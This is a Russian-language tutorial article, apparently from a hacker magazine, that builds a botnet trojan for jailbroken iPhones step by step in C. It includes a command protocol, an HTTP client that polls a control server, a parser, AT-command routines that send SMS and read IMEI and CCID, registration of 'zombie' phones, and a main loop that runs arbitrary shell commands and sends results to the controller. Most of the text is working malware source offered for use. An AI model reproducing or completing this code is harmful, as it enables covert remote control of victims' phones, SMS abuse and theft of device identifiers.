Формат управляющей команды
Первое, с чего надо начать написание трояна – разработка формата команды,
которую сервер будет передавать клиентам (зараженным телефонам). Я предлагаю вот
такой вид:
1. Команда состоит из шести частей, разделенных символом "%"
2. Первая часть:
- at% AT-команда для модема
- sm% команда отправки СМС
- sh% команда шелла (например, ls, whoami, ping www.ru)
- tg% команда настройки работы самого трояна
3. Третьи и вторая части - аргументы команды из первой части. Например:
- sm%79101010101%TEST is OK%<хвост команды>
4. Четвертая часть - тип отправки результата команды, может принимать
значения:
- %ws% отправка http-запросом параметра GET
- %sm% отправка "внутри" SMS-сообщения
5. Пятая и шестая части - аргументы для отправки команды, например:
- %79102020202% номер телефона в международном формате
- %192.168.1.100%/master-server/res.php?res=%
Примеры команд:
- sm%79101010101%test is OK%0%0%0% – отправить СМС с текстом: "test is OK" на
номер +79101010101
- sh%ping –c10 www.ru%0%ws%192.168.1.100%/master-server/res.php?res=% –
выполнить команду шелла "ping www.ru" и выслать результат выполнения на
192.168.1.100
- tg%3600%0%0%0%0% – установить интервал получения команды с сервера равным 3600
секунд
Пару слов о разделителе: я максимально хотел использовать команды шелла,
поэтому оставил все спецсимволы на использование в скриптах (чтобы можно было
выполнять разные там cat /dev/random > /tmp/fuck-memory-economy или ls / | grep
txt и пр.). Таким образом, разделителем стал процент – %. Что касается общей
концепции команды, то здесь все тоже очевидно. Первые три параметра –
управляющая часть, инструкция типа "что сделать". Вторые три параметра –
ответная часть, инструкция типа "куда скинуть результат выполнения". Если с этим
все понятно, то нечего тянуть резину, переходим к кодингу.
Архитектура программы
Все функции я разнес по отдельным файлам в зависимости от смысловой нагрузки.
Основной файл trojan.c максимально облегчен от ненужного кода. Вот список файлов
и их назначений:
trojan.c Основной файл с main() функцией программы
Makefile Инструкции утилите make для сборки трояна
./cmd: Разбор строки с командой и заполнение структуры
total 8
-rw-r--r-- 1 root wheel 2117 May 14 10:05 cmd-parser.c
-rw-r--r-- 1 root wheel 61 May 14 09:51 cmd-parser.h
./http: HTTP клиент. Отправка запросов, возвращение результата
total 8
-rw-r--r-- 1 root wheel 1453 May 14 10:03 http-client.c
-rw-r--r-- 1 root wheel 46 May 11 15:18 http-client.h
./sms: Работа с AT-командами. Отправка СМС, получение IMEI и CCID
total 12
-rw-r--r-- 1 root wheel 4273 May 14 10:46 sms-funcs.c
-rw-r--r-- 1 root wheel 124 May 8 17:23 sms-funcs.h
./structs: Описание структуры команды COMMAND
total 8
-rw-r--r-- 1 root wheel 265 May 13 00:57 command.c
./utils: Утилиты. Concat для корректного слияния двух строк в одну
total 8
-rw-r--r-- 1 root wheel 372 May 12 08:27 utils-concat.c
-rw-r--r-- 1 root wheel 49 May 11 15:18 utils-concat.h
Пишем простенький HTTP Client
Забирать команды с сервера наш троян будет по HTTP. Поэтому надо написать
простенький клиент на сокетах. Готовые вещи в нашем случае бестолковы, а формат
http-запроса, думаю, ты помнишь наизусть. Если не помнишь – ничего страшного,
напомню. Использовать мы будем только стандартные библиотеки: netdb.h,
sys/types.h, netinet/in.h, sys/socket.h. В общем, получится примерно так:
char* sendHttpRequest(char *host, char *url) {
int sockfd, numbytes;
char buf[MAXDATASIZE];
struct hostent *he;
struct sockaddr_in their_addr;
char* msg[2048];
sprintf(msg,"GET %s HTTP/1.1\r\n",url);
if (strlen(host)!=0){
sprintf(msg,"%sHost: %s\r\n",msg,host);
}
sprintf(msg, "%s Cache-Control: no-cache\r\nUser-Agent: bad-trojan\r\n\r\n",
msg);
int received=0;
if((he=gethostbyname(host)) == NULL)
exit(1);
else
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
exit(1);
else
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(PORT);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);
if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) ==
-1)
exit(1);
else
if((numbytes = send(sockfd, msg, strlen(msg), 0)) == -1) {
exit(1);
}
int bytes = 0;
bytes = (recv(sockfd, buf, MAXDATASIZE-1, 0));
if (bytes < 1) {
exit(1);
}
else if(bytes<MAXDATASIZE) {
}
else exit(1);
close(sockfd);
return buf;
}
Тут накладываются ограничения в 2 Кб на строку URL и ответ сервера. Если их
будет мало для твоих целей – увеличишь без проблем. Только не забудь очищать
переменные, все-таки чистый С, никаких тебе сборщиков мусора :).
Парсим команду сервера
После того, как мы получили строку с командой, ее надо разобрать и заполнить
соответствующую структуру. Сама структура выглядит так:
struct COMMAND{
char ct[3];
char p1[257];
char p2[257];
char rt[3];
char r1[257];
char r2[257];
};
По-хорошему, тип команды и тип ответа надо было выставить в int, но до этого
руки у меня не дошли. Как говорится, сначала напиши, потом оптимизируй. Так что,
это оставим на домашнее задание. Теперь сам парсинг. Он основывается на базовой
функции strtok, которая выполняет за нас разбиение строки на токены по
спецсимволу %. Вот исходник:
struct COMMAND parseCmd(char *resp){
char **parsed = (char *)malloc(SIZE);
int i=0;
for(i=0; i<SIZE; i++) {
parsed[i] = (char)malloc(MAX_SIZE);
}
if (strstr(resp, "cmd: ")!=NULL) {
UCHAR cmd[1024];
strncpy(cmd,&resp[172], (strlen(resp)-170) );
char * pch;
pch = strtok(cmd, "%");
i = 0;
while (pch!=NULL){
parsed[i]=pch;
pch = strtok (NULL, "%");
i++;
}
strncpy(COMMAND.ct,parsed[0],sizeof(COMMAND.ct));
strncpy(COMMAND.p1,parsed[1],sizeof(COMMAND.p1));
strncpy(COMMAND.p2,parsed[2],sizeof(COMMAND.p2));
strncpy(COMMAND.rt,parsed[3],sizeof(COMMAND.rt));
strncpy(COMMAND.r1,parsed[4],sizeof(COMMAND.r1));
strncpy(COMMAND.r2,parsed[5],sizeof(COMMAND.r2));
for (i=0; i<SIZE; i++) {
parsed[i]=NULL;
}
return COMMAND;
}
return COMMAND;
}
Вроде все понятно? Никаких особых приемов здесь не использовано. Только прошу
быть аккуратнее с переполнениями буфера. Код трояна по этой части еще придется
хорошенько допилить…
Посылаем АТ-команды модему телефона
В мартовском номере
я уже приводил исходник программы для отправки СМС. На всякий случай, повторю
основные моменты. Мы используем резервное системное устройство /dev/tty.debug,
через которое посылаются АТ-команды. Основное устройство /dev/tty заблокировано
родными демонами телефона и использовать его не получится. Мы инициализируем
соединение на скорости 115200 бод вот так:
int InitConn(int speed)
{
int fd = open("/dev/tty.debug", O_RDWR | O_NOCTTY);
if(fd == -1) {
fprintf(stderr, "%i(%s)\n", errno, strerror(errno));
exit(1);
}
ioctl(fd, TIOCEXCL);
fcntl(fd, F_SETFL, 0);
tcgetattr(fd, &term);
gOriginalTTYAttrs = term;
cfmakeraw(&term);
cfsetspeed(&term, speed);
term.c_cflag = CS8 | CLOCAL | CREAD;
term.c_iflag = 0;
term.c_oflag = 0;
term.c_lflag = 0;
term.c_cc[VMIN] = 0;
term.c_cc[VTIME] = 0;
tcsetattr(fd, TCSANOW, &term);
return fd;
}
После этого можно писать в устройство:
void SendCmd(int fd, void *buf, size_t size)
{
if(write(fd, buf, size) == -1) {
fprintf(stderr, "SendCmd error. %s\n", strerror(errno));
exit(1);
}
}
Для отправки СМС используется такая последовательность команд:
AT+CMGD=1 //удаляем все СМС из очереди, чтобы наше сообщение стало
первым
AT+CMGF=1 //переводим модем в текстовый режим
AT+CMGW=79000000000 //номер получателя
Набираем само сообщение
AT+CMSS=1 //отправляем наше сообщение
Я очищаю очередь сообщений, чтобы не заморачиваться и не разбирать строку
ответа модема на команду AT+CMGW. По правильному, она возвращает номер твоего
набранного СМС, далее его и надо использовать для аргумента AT+CMSS. У такого
подхода есть небольшой нюанс – троян прекрасно работает, но сам телефон СМС
отправить после такого уже не может. Приходиться перезагружаться. В общем, этот
баг я оставил специально, чтобы тебе тоже было чем заняться :).
Помимо отправки СМС, допишем еще две функции, чтобы получать IMEI телефона и
CCID. Это уникальные номера, их можно использовать для идентификации каждого
зараженного образца.
char* getCCID(){
int fd;
fd = InitConn(115200);
AT(fd);
SendCmd(fd, "AT+CCID\r",9);
char* res = ReadResp(fd) ;
CloseConn(fd);
return res;
}
char* getIMEI(){
int fd;
fd = InitConn(115200);
AT(fd);
SendCmd(fd, "AT+CGSN\r",9);
char* res = ReadResp(fd) ;
CloseConn(fd);
return res;
}
Ну вот, закончили с АТ-командами. Теперь можно объединить все вместе в main
функции.
Регистрация телефона в ботнете и получение команды
Чтобы хозяин знал, что в его коллекции появился еще один зверек, зараженному
надо зарегистрироваться. С точки зрения трояна – это просто еще один
http-запрос. В качестве параметра передает IMEI телефона и проверочный код. Код
– это специальная функция, вычисленная от IMEI. В прошлой статье я приводил ее
исходник на PHP на стороне сервера. А вот реализация на С:
int getVKey(char* imei){
if (strlen(imei)!=15) return -1;
int vkey = 0;
int i = 0;
int c = 0;
int l = 0;
int m = 0;
char *k = (char *)malloc(1);
for (i=0; i<5; i++){
switch (i) {
case 0: l = 3; m = 101; break;
case 1: l = 7; m = 107; break;
case 2: l = 8; m = 3; break;
case 3: l = 11; m = 9; break;
case 4: l = 13; m = 71; break;
}
memcpy(k, &imei[l], 1);
c = atoi(k);
vkey+=c*m;
}
return vkey;
}
int regZombie(char* imei) {
char* regurl[1024];
sprintf(regurl,"/master-server/reg.php?imei=%s&vkey=%d",imei, getVKey(imei));
sendHttpRequest("192.168.10.1",regurl);
return 0;
}
main() – всему голова
Осталось самая малость – написать главную функцию. Здесь мы будем в цикле
принимать и обрабатывать пришедшие команды от сервера и, в зависимости от
команд, выполнять те или иные действия. Меньше слов, больше кода:
int doCmd(struct COMMAND COMMAND){
if (strstr(COMMAND.ct, "sm")!=NULL){
if (strlen(COMMAND.p1)>0){
if (strstr(COMMAND.p2,"getIMEI")!=NULL){
sendSMS(COMMAND.p1,getIMEI());
}
else if (strlen(COMMAND.p1)==1){ //номер по умолчанию, использовался при записи
видео-ролика для Х
sendSMS("89100000000",COMMAND.p2);
}
else {
sendSMS(COMMAND.p1,COMMAND.p2);
}
}
}
else if (strstr(COMMAND.ct, "at")!=NULL){
if (strlen(COMMAND.p1)>0) {
char *res[1024];
sprintf(res,"%s",getCALL(COMMAND.p1));
if (strstr(COMMAND.rt, "sm")!=NULL){
if (strlen(COMMAND.r1)>0){
sendSMS(COMMAND.r1,res);
}
}
else if (strstr(COMMAND.rt, "ws")!=NULL){
if (strlen(COMMAND.r1)>NULL && strlen(COMMAND.r2)>0){
char *urlres[1024];
sprintf(urlres,"%s%s",COMMAND.r2,res);
sendHttpRequest(COMMAND.r1,urlres);
free(urlres);
}
}
}
}
else if (strstr(COMMAND.ct, "sh")!=NULL){
if (strlen(COMMAND.p1)>0){
system(COMMAND.p1);
}
}
else if (strstr(COMMAND.ct, "tg")!=NULL){
if (strlen(COMMAND.p1)>0){
timeout=atoi(COMMAND.p1);
}
}
return 0;
}
int main(int argc, char **argv) {
regZombie(getIMEI());
while(1) {
sleep(timeout);
COMMAND = takeCmd(1);
doCmd(COMMAND);
COMMAND = takeCmd(0);
doCmd(COMMAND);
}
}
Ну что, все очень просто и открыто. Самый главный хак в этом трояне –
написанная правильными ребятами утилита ldid. Она позволяет подписать
скомпиленный бинарник, чтобы он запускался на телефоне. Процедура эта уникальна
для каждого аппарата. Тут возникает необходимость копировать эту утилиту на
зараженный телефон, если она не была установлена самим владельцем вместе с
каким-нибудь пакетом. Но это уже дело техники внедрения. Может быть, я еще
напишу об этом в следующей статье…
Заключение
Все когда-то кончается. Вкусное пиво иссякает, интересные идеи безнадежно
устаревают, мечты материализуются или уходят сами собой, а про деньги я даже не
говорю. Вот и подошел к концу цикл статей по Apple iPhone. Где-то было скучно,
где-то непонятно, что-то я упустил, что-то недосмотрел – без этого никуда.
Надеюсь, тебе была полезна эта и прошлые статьи цикла. Как всегда, на все
вопросы отвечаю в блоге – http://oxod.ru.
| 
